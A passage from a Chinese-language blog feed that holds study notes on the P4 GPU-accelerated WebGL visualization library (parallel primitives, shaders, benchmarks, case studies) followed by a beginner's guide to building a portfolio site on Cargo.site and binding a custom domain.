style="margin-right:0.1667em;"></span><span class="minner"><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">ρ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">m</span><span class="mtight">a</span><span class="mtight">x</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">ρ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.5043em;"><span style="top:-3.9029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05556em;">γ</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3175em;"><span style="top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">m</span><span class="mtight">i</span><span class="mtight">n</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span>
<p>其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>ρ</mi><mi>max</mi><mo>⁡</mo></msub></mrow><annotation encoding="application/x-tex">\rho_{\max}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">ρ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">m</span><span class="mtight">a</span><span class="mtight">x</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 为视图中视觉符号重叠的最大数量，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ρ</mi></mrow><annotation encoding="application/x-tex">\rho</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ρ</span></span></span></span> 为当前像素的视觉符号数量。经实验，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>γ</mi></mrow><annotation encoding="application/x-tex">\gamma</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05556em;">γ</span></span></span></span> 默认为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mi mathvariant="normal">/</mi><mn>3</mn></mrow><annotation encoding="application/x-tex">1/3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1/3</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>α</mi><mi>min</mi><mo>⁡</mo></msub></mrow><annotation encoding="application/x-tex">\alpha_{\min}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3175em;"><span style="top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">m</span><span class="mtight">i</span><span class="mtight">n</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.1</mn></mrow><annotation encoding="application/x-tex">0.1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.1</span></span></span></span> 时，可取得最佳观感。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-25-zWGdU6.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-25-zWGdU6.png" alt="2022-04-25-zWGdU6" loading="lazy" data-wrapped="true"></a></p>
<h2 id="实现"><a href="#实现">实现</a></h2>
<h3 id="并行原语-data-parallel-primitives"><a href="#并行原语-data-parallel-primitives">并行原语 Data-Parallel Primitives</a></h3>
<p>在 P4 的实现中，为了使得数据转换和可视化过程可以并行，工程上采用了基于函数编程的原语（包括 map、 filter、reduce）。具体地，包括以下原语：</p>
<ul>
<li><code>Fetch</code>：计算数据在 GPU 中的内存地址，并返回数据用于后续计算</li>
<li><code>Map</code>：将现有数据根据用户指定的逻辑映射到新的数据，常用于计算中间值</li>
<li><code>Filter</code>：根据具体条件来选择一部分数据的子集。不满足条件的数据将不会被 Fetch，以避免取得后又丢弃数据所造成的带宽浪费</li>
<li><code>Reduce</code>：使用例如 count、sum、avegrage 等统计方法并行地将一系列数据规约到单个值的输出</li>
</ul>
<p>在实际情况中，所有的 GPU 程序均是在运行时基于上述并行原语来生成的。P4 先根据 <code>pipeline</code> 的工作流程和执行模式来生成若干原语。(todo)</p>
<p>高层次的运算符，如下所示，可以通过结合这四个并行原语来得到。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-25-kUgM9m.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-25-kUgM9m.png" alt="2022-04-25-kUgM9m" loading="lazy" data-wrapped="true"></a></p>
<ul>
<li><code>Derive</code>：通过 <code>Fetch</code> 获取已有数据，再使用 <code>Map</code> 来映射出新的值，最后的 <code>Reduce</code> 用于计算新的数据的元数据（包括最小值、最大值等）</li>
<li><code>Match</code>：通过 <code>Fetch</code> 获取已有数据，再使用 <code>Filter</code> 筛选数据</li>
<li><code>Aggregate</code>：通过 <code>Fetch</code> 获取单组或多组数据，对每组数据根据不同的聚合操作执行 <code>Map</code>，最后通过 <code>Reduce</code> 来获取元数据</li>
<li><code>Visualization</code>：该运算将数据映射到视觉编码中。使用 <code>Fetch</code> 获取数据，使用 <code>Map</code> 来映射出这些数据对应的位置、颜色等其他视觉元素所需要的信息。<code>Reduce</code> 执行出来的最大密度与最小密度将用于视觉感知增强，而最后的 <code>Map</code> 用于计算每个像素具体的输出值。</li>
<li><code>Interact</code>：如前文所述，<code>Interact</code> 使用 event-response 对来根据用户选择来改变视觉编码。在原语的使用上，其在 <code>Visualization</code> 的基础上，增加一个额外的 <code>Map</code> 和 <code>Filter</code>。<code>Map</code> 用于获取用户交互在数据维度上的选择范围，<code>Filter</code> 用于基于这些范围来改变对应视觉元素的视觉编码。</li>
</ul>
<h3 id="数据管理实现"><a href="#数据管理实现">数据管理实现</a></h3>
<p>P4 利用基于 WebGL 1.0 的 API，使用统一的数据模型来管理数据。所有的多维数据均按照数据项的顺序，以列数组的形式存储在二维纹理中。纹理使用单精度浮点数，最大宽度和高度为 8192。对于大小大于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>819</mn><msup><mn>2</mn><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">8192^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">819</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span> 的数据，P4 将会将其分割为多个纹理。各个数据项的元数据以 WebGL Uniform Buffer 存储，数据转换操作的结果将会被写入离屏帧缓冲区，供后续操作使用。P4 管理了输入和输出纹理的指针地址，以保证数据流向的正确性。</p>
<h3 id="可视渲染实现"><a href="#可视渲染实现">可视渲染实现</a></h3>
<p>渲染上，P4 使用 WebGL 在 Canvas 上绘制视觉元素，用 SVG 元素渲染简单的坐标信息。系统内存中保存有元数据的副本，供 SVG 渲染使用。对于数据为整型的类别数据，GPU 与系统内存中的元数据也存有所有各个类别属性的引用。</p>
<p>另外，出于 WebGL 对跨 Canvas 数据共享的限制，为了共享数据源，多个视图将被渲染在同一个 Canvas 中的不同区域。对开发者而言，另一种方式是使用多个 P4 <code>pipeline</code> 来分别渲染。</p>
<h3 id="gpu-shader"><a href="#gpu-shader">GPU Shader</a></h3>
<p>P4 利用 WebGL 的着色器来实现自己的四个并行原语。具体地：</p>
<ul>
<li><code>Fetch</code>：利用 WebGL 处理纹理的高效机制来直接方位纹理</li>
<li><code>Map</code>：利用顶点着色器来计算中间结果，再利用片段着色器来将映射结果输出到对应位置</li>
<li><code>Filter</code>：使用顶点着色器来检查某数据是否符合过滤条件，满足条件的数据由片段着色器输出</li>
<li><code>Reduce</code>：利用 Blending 对 framebuffer 中的数据进行 count、sum、max、min 等聚合操作，使用两次 pass 可以获得 average 和 variance</li>
</ul>
<p>例如，聚合操作（包括 <code>Fetch</code>, <code>Map</code>, <code>Reduce</code>）的 GPU 代码生成过程如下：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-26-dgEtTU.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-26-dgEtTU.png" alt="2022-04-26-dgEtTU" loading="lazy" data-wrapped="true"></a></p>
<p>由 P4 生成的 GPU 程序和 <code>pipeline</code> 的流程相对应，这些 GPU 程序在 WebGL 管线内的运行如 e 所示。顶点着色器使用 <code>Map</code> 来获取归一化的数据值、计算视觉元素的位置，片段着色器来输出颜色、透明度、形状等其他视觉编码，最终根据不同的视觉元素调用对应的 WebGL 绘制调用（e3）。</p>
<p>并行原语也可以用于运行时的代码生成。例如对于一个类型数据的 <code>Derive</code> 的运行时代码生成如下图所示，用户指令中的逻辑被以并行数据原语的形式嵌入到了顶点着色器程序中。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-26-PygmNs.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-26-PygmNs.png" alt="2022-04-26-PygmNs" loading="lazy" data-wrapped="true"></a></p>
<h2 id="评测"><a href="#评测">评测</a></h2>
<p>以下测试使用 Chrome 浏览器，数据范围从 16K 到 16M 不等，在 32G i7-4790 机器上重复运行 10 次。为了消除 CPU 到 GPU 之间的数据传输时间以评测真实的 GPU 程序运行效率，在每次渲染完成后都随机读取了一个像素的值，来确定渲染结果已经完成写入。不同库的数据转换性能对比：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-24-h2Jsd3.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-24-h2Jsd3.png" alt="2022-04-24-h2Jsd3" loading="lazy" data-wrapped="true"></a></p>
<p>不同等级 GPU 下三种数据转换运算性能对比：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-24-49idjN.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-24-49idjN.png" alt="2022-04-24-49idjN" loading="lazy" data-wrapped="true"></a></p>
<p>不同库的平均初始化时间及首帧渲染时间对比：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-24-wRm8rw.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-24-wRm8rw.png" alt="2022-04-24-wRm8rw" loading="lazy" data-wrapped="true"></a></p>
<p>不同等级 GPU 下不同类型图的首帧渲染时间对比：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-24-2gHy8J.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-24-2gHy8J.png" alt="2022-04-24-2gHy8J" loading="lazy" data-wrapped="true"></a></p>
<h2 id="案例"><a href="#案例">案例</a></h2>
<h3 id="超算网络"><a href="#超算网络">超算网络</a></h3>
<p>超算网络集群中，节点间网络的连接性对性能有较大的决定作用。如图为利用 P4 开发系统，用于探索超级计算机的行为来优化性能。系统结合了 P4 和 D3，使用 P4 来显示全局连接、本地连接、终端连接和终端等连接的延迟信息，使用 D3 来对 P4 转换出来的数据绘制相对小规模的可视化视图。从 GPU 到 CPU 传输大数据导致的开销较大，并在结合其他工具开发可视化时，设计者和开发者应当考虑到这一点以提升实时互动性。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-26-25xe1q.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-26-25xe1q.png" alt="2022-04-26-25xe1q" loading="lazy" data-wrapped="true"></a></p>
<h3 id="pdes-parallel-discrete-event-simulations"><a href="#pdes-parallel-discrete-event-simulations">PDES (Parallel Discrete-event Simulations)</a></h3>
<p>PDES 即并行离散事件仿真，让研究人员可以建模、学习复杂的物理现象。与 PDES 研究者合作，P4 团队改进了一个用于评估和改进大规模 PDES 系统的高效性与可伸缩性的可视分析系统的互动性。系统中，先前的数据处理大多基于 CPU 计算，产生了较大延迟。现在，通过将数据处理和可视渲染及交互处理均移动到 GPU 计算，大大改进了系统的性能，提升了时序上的分辨率。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-26-MNAM5b.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2022-04-26-MNAM5b.png" alt="2022-04-26-MNAM5b" loading="lazy" data-wrapped="true"></a></p>
<h3 id="p4-player"><a href="#p4-player">P4 Player</a></h3>
<p>一个简单的 Web 应用，对接 HTML5 的 API，允许用户自由的上传硬盘中的 JSON 数据，并实时编写、运行、测试 P4 程序，探索数据集内容和 P4 的可视化结果。</p>
<h2 id="讨论"><a href="#讨论">讨论</a></h2>
<h3 id="性能与可表达性"><a href="#性能与可表达性">性能与可表达性</a></h3>
<p>低层次的可视化语法（细粒度的控制）和高层次的可视化语法（简介的表达方式）之间存在 expressiveness 与 performance 的 trade off。相比于 P4，D3 继承了 DOM 节点的可表达性，而 Vega 与 Vega-Lite 通过利用 JavaScript 的灵活性为数据转换和可视化提供了更多可能性。但在性能上，这样的做法和 JS 单线程的特性也限制了他们的表现。P4 希望能够达到和 Vega 相同的可表达性，并严格分离数据转换、可视映射和交互设计的几个模块，来确保各个运算符都是可以并行加速的。P4 既通过声明式语法继承了 DOM 节点和 JS 的可表达性，也充分利用 GPU 计算来并行、多线程地处理工作，从而提高了性能。</p>
<h3 id="优化与拓展"><a href="#优化与拓展">优化与拓展</a></h3>
<p>目前，P4 的开发基于 WebGL 1.0 API，这使其具备良好的兼容性。但 WebGL 2.0 即将发布（论文发表时），提供了更多针对现代 GPU 相关的优化，具备进一步优化 P4 性能的可能性。当前由于 Blending 操作的限制，<code>Reduce</code> 只支持 min、max、avg 等少量聚合操作，而在未来，计算着色器（Compute Shaders）或可编程 Blending 的引入可能会使得 P4 突破这个限制。</p>
<p>未来，P4 也具备应用到标准桌面环境中的可能性，而不仅局限于 Web 运行时，使用相同的架构即可。数据并行原语的思想，也基于了 P4 充分的可拓展性，新的操作符可以通过组合现有并行原语或引入新的原语来得到。</p>
<h3 id="后续工作"><a href="#后续工作">后续工作</a></h3>
<ul>
<li>P4 高度依赖 GPU 的性能和内存，数据大小超过 GPU 内存时，未来可能会引入渐进式的可视分析方法（事实上在后续发表的 P5 中，P4 团队也完成了这一工作），通过数据分块、预处理等方式实现</li>
<li>P4 作为高层次的语法，表达性仍有进一步提升的空间，以支持数据转换和可视化过程中更高的自定义性</li>
<li>P4 目前的可视化基于笛卡尔坐标系和少量几种视觉符号，未来可以探索更多潜在的可视化样式（如树图等）</li>
</ul>
<hr>
<p>[1] J. K. Li and K.-L. Ma, “P4: Portable Parallel Processing Pipelines for Interactive Information Visualization,” IEEE Transactions on Visualization and Computer Graphics, vol. 26, no. 3, pp. 1548–1561, Mar. 2020, doi: 10.1109/TVCG.2018.2871139.</p>
<p>[2] Z. Liu, B. Jiang, and J. Heer, “immens: Real-time visual querying of big data,” Comput. Graph. Forum, vol. 32, no. 3pt4, pp. 421–430, 2013.</p>
<p>[3]“The Book of Shaders.” <a href="https://thebookofshaders.com/">https://thebookofshaders.com/</a> (accessed Apr. 26, 2022).</p>
<p>[4]“jpkli/p4: P4: Portable Parallel Processing Pipeline,” GitHub. <a href="https://github.com/jpkli/p4">https://github.com/jpkli/p4</a> (accessed Apr. 26, 2022).</p>]]></description>
            <link>https://jtchen.io/blog/paper-notes-p4</link>
            <guid isPermaLink="false">paper-notes-p4</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Sun, 24 Apr 2022 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[使用 Cargo.site 构建你的作品集]]></title>
            <description><![CDATA[<p>申请季来临，为了帮助设计师快速利用 Cargo.site 构建自己的作品集网站，我写了这样一个指南，希望能帮到非技术背景的艺术家们，祝申请顺利，Offer 多多。</p>
<h2 id="网站相关"><a href="#网站相关">网站相关</a></h2>
<h3 id="cargosite"><a href="#cargosite">Cargo.site</a></h3>
<p>Cargo.site 的定位是专为设计师提供的无代码建站平台。在 Templates 中找到一个模板之后注册账号即可以这个模板为起点建站。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807135615950.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807135615950.png" alt="image-20210807135615950" loading="lazy" data-wrapped="true"></a></p>
<p>比如以这个模板为起点，选择 <code>Start with this Template</code> 之后创建网站进入编辑状态。如果目标是作品集的网站的话，可以先预览观察一下网站结构是不是符合预期。不过这个模板在后续也是可以随时更改的，在 Design 设置板块底部的 Change / Restore Template 部分更改就行。</p>
<p>Site Settings 部分指定了网站的一些基本配置，其中 Favicon 是网站在浏览器中预览显示出来的那个图标。这里默认的闪电是 Crago 的 Logo，如果你有自己的网站 Logo 的话可以在这里换上。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807140137447.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807140137447.png" alt="image-20210807140137447" loading="lazy" data-wrapped="true"></a></p>
<h3 id="站点设计"><a href="#站点设计">站点设计</a></h3>
<p>在设置部分的 Design 板块可以看到网站的设计管理页面，Cargo 提供了详细的网站布局配置，如文字排版、色彩组合、编排配置等，可以组合各种参数看看哪个最顺眼。</p>
<p>Cargo 的建站思想是把网站的内容拆分成一个一个的 Page，每一个 Page 既可以作为某个页面上的一个成分存在，也可以作为一个单独的页面，作为链接跳转的目标。像 Header, Footer 这样逻辑上会固定在网站上的内容，可以通过 Pin 选项来进行配置。例如，在 Content 板块可以看到目前网站有哪些元素：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807144721240.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807144721240.png" alt="image-20210807144721240" loading="lazy" data-wrapped="true"></a></p>
<p>每一个 Page 右侧的原点表示了这个 Page 的展示情况与固定情况：</p>
<ul>
<li>灰色状态，不在主页面展示，作为一个独立的 Page</li>
<li>Pin 状态，固定在所有页面展示。在 Pin Settings 中可以进一步指定 Pin 的方式，是固定在页面顶部还是底部，是否在移动设备上显示，etc.</li>
<li>绿色状态，表示在主页上要展示的模块。</li>
</ul>
<p>例如，上面这个截图所生成的网站内容表示在主页上有一个固定的 Header 和下箭头，此外还有 1 和 2 两个 Page 用来展示作品，Information 用来展示联系信息。下方的 This is a work 是我新建的 Page，不会展示在主页中，但可以通过后续设置文字链接跳转或图片链接跳转来查看到这个 Page 里详细的内容信息。关于新建一个作品的流程我会在下一部分进一步描述一下。</p>
<p>网站整体的排版、布局、字体、色彩组合在 Design 板块中可以设置。这里面的选项和常见的图文排版引擎没有什么大的不同，用起来应该很轻松。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807141641161.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807141641161.png" alt="image-20210807141641161" loading="lazy" data-wrapped="true"></a></p>
<p>在 Design 板块下的 Site Menu 处可以选择是否为网站启用一个全局的导航菜单，根据不同模板的样式，可能会有不同的展示方案。在这里也可以选择这个哪些页面 （也就是 Page）会展示在菜单中。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807143718090.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807143718090.png" alt="image-20210807143718090" loading="lazy" data-wrapped="true"></a></p>
<p>对于 Images 里的选项，Secondary Zoom 指的是是否允许用户点开某张图片放大后进一步放大。Animate on Scroll 指的是是否为图片开启一个「滚动到这个图片时渐变并上滑」的入场动画。</p>
<p>Quick View 里的选项配置了点击图片后放大展示的 fancybox 的样式。</p>
<p>CSS 模块可以用代码自行微调不同 Page 的 CSS 类。</p>
<p>点击进入了某个 Page 的编辑状态后，可以在下方详细地调整 Page 里的样式，添加元素。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807144635539.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807144635539.png" alt="image-20210807144635539" loading="lazy" data-wrapped="true"></a></p>
<p>包括插入链接，调整分栏，调整图片的布局等。也可以插入音乐，用钢笔工具画矢量图。左下角的按钮配置分栏，比较常用。<code>CODE VIEW</code> 可以直接进入 html 代码的编辑状态，控制网页的任意内容。如果有比简单地静态展示内容更复杂的需求，可以在这里插入。（如果你遇到了静态展示不够的场景的话我可以看看能不能帮你做出来）。</p>
<h3 id="作品管理"><a href="#作品管理">作品管理</a></h3>
<p>按照一个作品集网站的经典布局，大概的跳转逻辑可能是这样：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807143512364.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807143512364.png" alt="image-20210807143512364" loading="lazy" data-wrapped="true"></a></p>
<p>其中每一个方块都是 Cargo 中的一个 Page、如果需要新建一个作品的详细设置页面，可以在 Content 部分左下角的加号处新建一个 page，例如这里的 This is a work。（新建 Set 可以建立一个文件夹，只是更方便地收纳你的作品集，对网站本身的内容没有影响）</p>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807151643200.png" alt="image-20210807151643200" style="zoom:50%;" />
<p>点击 Page 进入 Page 的编辑页面，通过分栏和图片的组合，可以快速构建出来一个作品的详细页面，最终这些元素会成为一个 Page。Backdrop 设置可以给这个 Page 加上背景，支持 Overlay。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807152744409.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807152744409.png" alt="image-20210807152744409" loading="lazy" data-wrapped="true"></a></p>
<p>用同样的思路，也可以建立一个 About 的 Page，在 Content 那个地方不要固定，就 OK 了。</p>
<p>为了能让用户访问到这个作品的详情 Page，你可以回到主页，选择一个会在主页中展示的 Page，在右侧的编辑器中选择这个🔗按钮，选择 Internal Link，再选择这个 This is a work 的 Page，之后用户点击这个图片就会跳转到这个作品的详情界面。使用 External Link 也可以直接跳转到其他链接，比如你的 twitter 微博邮箱等。</p>
<p>另一个能让用户访问到这个页面的方法是在 Design 部分的 Menu Setting 把这个页面加到网站的全局菜单中。你可以加一个 About 的 Page 来这样做。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807151936279.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807151936279.png" alt="image-20210807151936279" loading="lazy" data-wrapped="true"></a></p>
<p>一个小 trick 是如果你想要给邮箱加上链接，可以在 External Link 里输入 <code>mailto:yourmailaddress@example.com</code> ，用户点击链接之后就会直接打开邮箱 APP，收件人是你的邮件。</p>
<p>通过不同 Page 的组合和固定就可以建出一个应该还不错的 Portfolio 啦。</p>
<h3 id="费用"><a href="#费用">费用</a></h3>
<p>Cargo.site 不是一个免费的站点，默认的免费状态是 Private 的网站，不付费的话进入网站只能看到</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807141425868.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807141425868.png" alt="image-20210807141425868" loading="lazy" data-wrapped="true"></a></p>
<p>年费价格 $99，月费价格 $13，付款方式支持信用卡、PayPal。在站点的设置页面选择 Upgrade to go Public 即可看见付款选项。</p>
<h2 id="域名购买与绑定"><a href="#域名购买与绑定">域名购买与绑定</a></h2>
<p>域名涉及到的平台包括 Dynadot（购买域名），Cloudflare（如果你想要使用 https 的网站的话，不过没有应该问题也不大）。这一部分你可以在 <a href="https://www.dynadot.com/">https://www.dynadot.com/</a> 查找一下你要购买的域名，如果没有被购买的话就可以绑定到你的作品集网站上。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2021-11-04-x5jEH4.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2021-11-04-x5jEH4.png" alt="2021-11-04-x5jEH4" loading="lazy" data-wrapped="true"></a></p>
<p>比如上面这个域名，购买之后注册账号再填写一下你的身份信息，这个账号就会被注册到你的名字下，稍等几个小时就可以通过 whois 查询到域名的注册信息了。</p>
<p>简单说来，刚刚只是购买了一个域名，我们拥有了决定这个域名应该解析到哪台服务器的权力。接下来还要继续将域名绑定到 Cargo 上，这样当浏览器访问这个域名时候才能通过 DNS 解析服务器来跳转到 Cargo 上。总结起来需要做的事情是先在 Cargo 上的网站设选择 Connect to an existing domain name，输入你的网站。比如 yourname.com，或者你也可以使用子域名，如 portfolio.yourname.com。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807150632964.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807150632964.png" alt="image-20210807150632964" loading="lazy" data-wrapped="true"></a></p>
<p>假定你已经在 Dynadot 上购买好了域名，接着可以进入域名的管理后台，修改域名的 DNS 配置：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807153403620.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807153403620.png" alt="image-20210807153403620" loading="lazy" data-wrapped="true"></a></p>
<p>输入 cargo 提供的 DNS：</p>
<pre><code class="hljs"><div class="code-line numbered-code-line" data-line-number="1">ns1.cargocollective.com</div><div class="code-line numbered-code-line" data-line-number="2">ns2.cargocollective.com</div></code></pre>
<p>稍等几分钟回到 cargo 来验证一下即可。更详细的过程见 <a href="https://support.cargo.site/Using-a-Third-Party-Domain">https://support.cargo.site/Using-a-Third-Party-Domain</a></p>
<p>另一种方法，是使用 cargo 内置的域名购买网站，可以更加方便地完成域名购买和绑定：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807151246167.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/file/2021-08-07-image-20210807151246167.png" alt="image-20210807151246167" loading="lazy" data-wrapped="true"></a></p>
